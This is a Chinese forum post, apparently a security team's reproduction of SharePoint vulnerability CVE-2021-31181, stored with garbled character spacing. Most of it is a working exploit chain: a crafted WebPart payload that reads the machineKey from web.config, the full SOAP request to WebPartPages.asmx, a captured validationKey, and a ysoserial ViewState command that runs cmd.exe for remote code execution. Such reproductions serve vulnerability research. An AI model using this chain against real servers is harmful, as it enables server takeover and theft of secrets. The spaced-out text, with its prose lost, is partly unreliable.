[1179] 2021-06-08_SharePointCVE-2021-31181复现

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-16
2021-06-08_SharePointCVE-2021-31181复现 S h a r e P o i n t   C V E - 2 0 2 1 - 3 1 1 8 1   Y 4 e r   C h a B u g   2 0 2 1 - 0 6 - 0 8 使 + S h a r e P o i n t 2 0 1 6 t e a m   s i t e s p 2 0 1 6 t s h t t p : / / s h a r e p o i n t : 8 0 8 0 / _ a d m i n / c r e a t e s i t e . a s p x i m a g e . p n g p o c x m l < % @   R e g i s t e r   T a g P r e f i x = " W e b P a r t P a g e s "   N a m e s p a c e = " M i c r o s o f t . S h a r e P o i n t . W e b P a r t P a g e "   A s s e m b l y = " M i c r o s o f t . S h a r e P o i n t ,   V e r s i o n = 1 6 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = 7 1 e 9 b c e 1 1 1 e 9 4 2 9 c " < % @ R e g i s t e r   T a g P r e f i x = " a t t "   N a m e s p a c e = " S y s t e m . W e b . U I . W e b C o n t r o l s   "   A s s e m b l y = " S y s t e m . W e b ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = b 0 3 f 5 f 7 f 1 1 d 5 0 a 3 a " % >   < W e b P a r t P a g e s : X s l t L i s t F o r m W e b P a r t   i d = " i d 0 1 "   r u n a t = " s e r v e r "   L i s t D i s p l a y N a m e = " D o c u m e n t s "   W e b I d = " { 6 e 7 0 4 0 c 8 - 0 3 3 8 - 4 4 4 8 - 9 1 4 d - a 7 0 6 1 e 0 f c 3 4 7 } " >       < D a t a S o u r c e s >           < a t t : x m l d a t a s o u r c e   r u n a t = " s e r v e r "   i d = " X D S 1 "               X P a t h = " / c o n f i g u r a t i o n / s y s t e m . w e b / m a c h i n e K e y "               d a t a f i l e = " c : / i n e t p u b / w w w r o o t / w s s / V i r t u a l D i r e c t o r i e s / 8 0 / w e b . c o n f i g "   / >       < / D a t a S o u r c e s >       < x s l >               < x s l : s t y l e s h e e t   v e r s i o n = " 2 . 0 "   x m l n s : x s l = " h t t p : / / w w w . w 3 . o r g / 1 9 9 9 / X S L / T r a n s f o r m " >                                         < x s l : o u t p u t   m e t h o d = " x m l "   i n d e n t = " y e s " / >                       < x s l : t e m p l a t e   m a t c h = " / "   >                       < x s l : c o p y - o f   s e l e c t = " . " / >                       < / x s l : t e m p l a t e >               < / x s l : s t y l e s h e e t >       < / x s l >   < / W e b P a r t P a g e s : X s l t L i s t F o r m W e b P a r t >
1 . L i s t D i s p l a y N a m e 2 . W e b I d 3 . d a t a f i l e W e b I d   h t t p : / / s h a r e p o i n t / s i t e s / t s / _ a p i / w e b / i d i m a g e . p n g e 8 9 c 6 4 e 5 - 7 5 c e - 4 b d 4 - 8 1 8 1 - 2 2 9 8 2 2 8 f c 9 1 f L i s t D i s p l a y N a m e i m a g e . p n g i m a g e . p n g L i s t D i s p l a y N a m e t e s t d a t a f i l e w e b . c o n f i g 8 0 c : / i n e t p u b / w w w r o o t / w s s / V i r t u a l D i r e c t o r i e s / 8 0 / w e b . c o n f i g C : i n e t p u b w w w r o o t w e b . c o n f i g
s p 8 0 8 0 3 8 0 4 0 i m a g e . p n g w e b . c o n f i g x m l h t m l h t t p C : i n e t p u b w w w r o o t w e b . c o n f i g < % @   R e g i s t e r   T a g P r e f i x = " W e b P a r t P a g e s "   N a m e s p a c e = " M i c r o s o f t . S h a r e P o i n t . W e b P a r t P a g e "   A s s e m b l y = " M i c r o s o f t . S h a r e P o i n t ,   V e r s i o n = 1 6 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = 7 1 e 9 b c e 1 1 1 e 9 4 2 9 c " < % @ R e g i s t e r   T a g P r e f i x = " a t t "   N a m e s p a c e = " S y s t e m . W e b . U I . W e b C o n t r o l s   "   A s s e m b l y = " S y s t e m . W e b ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = b 0 3 f 5 f 7 f 1 1 d 5 0 a 3 a " % >   < W e b P a r t P a g e s : X s l t L i s t F o r m W e b P a r t   i d = " i d 0 1 "   r u n a t = " s e r v e r "   L i s t D i s p l a y N a m e = " t e s t "   W e b I d = " { e 8 9 c 6 4 e 5 - 7 5 c e - 4 b d 4 - 8 1 8 1 - 2 2 9 8 2 2 8 f c 9 1 f } " >       < D a t a S o u r c e s >           < a t t : x m l d a t a s o u r c e   r u n a t = " s e r v e r "   i d = " X D S 1 "               X P a t h = " / c o n f i g u r a t i o n / s y s t e m . w e b / m a c h i n e K e y "               d a t a f i l e = " c : / i n e t p u b / w w w r o o t / w s s / V i r t u a l D i r e c t o r i e s / 3 8 0 4 0 / w e b . c o n f i g "   / >       < / D a t a S o u r c e s >       < x s l >               < x s l : s t y l e s h e e t   v e r s i o n = " 2 . 0 "   x m l n s : x s l = " h t t p : / / w w w . w 3 . o r g / 1 9 9 9 / X S L / T r a n s f o r m " >                                         < x s l : o u t p u t   m e t h o d = " x m l "   i n d e n t = " y e s " / >                       < x s l : t e m p l a t e   m a t c h = " / "   >                       < x s l : c o p y - o f   s e l e c t = " . " / >                       < / x s l : t e m p l a t e >               < / x s l : s t y l e s h e e t >       < / x s l >   < / W e b P a r t P a g e s : X s l t L i s t F o r m W e b P a r t > P O S T   / s i t e s / t s / _ v t i _ b i n / W e b P a r t P a g e s . a s m x   H T T P / 1 . 1 H o s t :   s h a r e p o i n t C o n t e n t - T y p e :   t e x t / x m l ;   c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   6 5 2 7 S O A P A c t i o n :   " h t t p : / / m i c r o s o f t . c o m / s h a r e p o i n t / w e b p a r t p a g e s / R e n d e r W e b P a r t F o r E d i t " < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < s o a p : E n v e l o p e   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "   x m l n s : x s d = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a "   x m l n s : s o a p = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / " >     < s o a p : B o d y >         < R e n d e r W e b P a r t F o r E d i t   x m l n s = " h t t p : / / m i c r o s o f t . c o m / s h a r e p o i n t / w e b p a r t p a g e s " >             < w e b P a r t X m l > < % @   R e g i s t e r   T a g P r e f i x = " W e b P a r t P a g e s "   N a m e s p a c e = " M i c r o s o f t . S h a r e P o i n t . W e b P a r t P a g e "   A s s e m b l y = " M i c r o s o f t . S h a r e P o i n t ,   V e r s i o n = 1 6 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = 7 1 e 9 b c e 1 1 1 e 9 4 2 9 c "         < / R e n d e r W e b P a r t F o r E d i t >     < / s o a p : B o d y > < / s o a p : E n v e l o p e >
i m a g e . p n g v a l i d a t i o n K e y   E 8 1 8 4 A D C E E 3 E 6 F D 3 9 E 3 5 B 4 4 A C 3 4 4 F 8 8 C 2 5 8 1 F 9 F 0 2 2 B F 7 6 6 1 F 2 2 3 D B D 4 E B 3 F 9 3 1 6 y s o s e r i a l v i e w s t a t e   h t t p : / / s h a r e p o i n t / s i t e s / t s / _ l a y o u t s / 1 5 / s u c c e s s . a s p x     _ _ V I E W S T A T E G E N E R A T O R   A F 8 7 8 5 0 7 i m a g e . p n g R C E c : / i n e t p u b / w w w r o o t / w e b . c o n f i g   . y s o s e r i a l . e x e   - p   V i e w S t a t e   - g   T y p e C o n f u s e D e l e g a t e   - c   " c m d . e x e   / c   c a l c "   - - g e n e r a t o r = " A F 8 7 8 5 0 7 "   - - v a l i d a t i o n k e y = " E 8 1 8 4 A D C E E 3 E 6 F D 3 9 E 3 5 B 4 4 A C 3 4 4 F 8 8 C 2 5 8 1 F 9 F 0 2 2 B F 7 6 6 1 F 2 2 3 D B D 4 E B 3 F 9 3 1 6 " c : / i n e t p u b / w w w r o o t / w s s / V i r t u a l D i r e c t o r i e s / 3 8 0 4 0 / w e b . c o n f i g
i m a g e . p n g i m a g e . p n g h t t p s : / / w w w . z e r o d a y i n i t i a t i v e . c o m / b l o g / 2 0 2 1 / 6 / 1 / c v e - 2 0 2 1 - 3 1 1 8 1 - m i c r o s o f t - s h a r e p o i n t - w e b p a r t - i n t e r p r e t a t i o n - c o n f l i c t - r e m o t e - c o d e - e x e c u t i o n - v u l n e r a b i l i t y
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则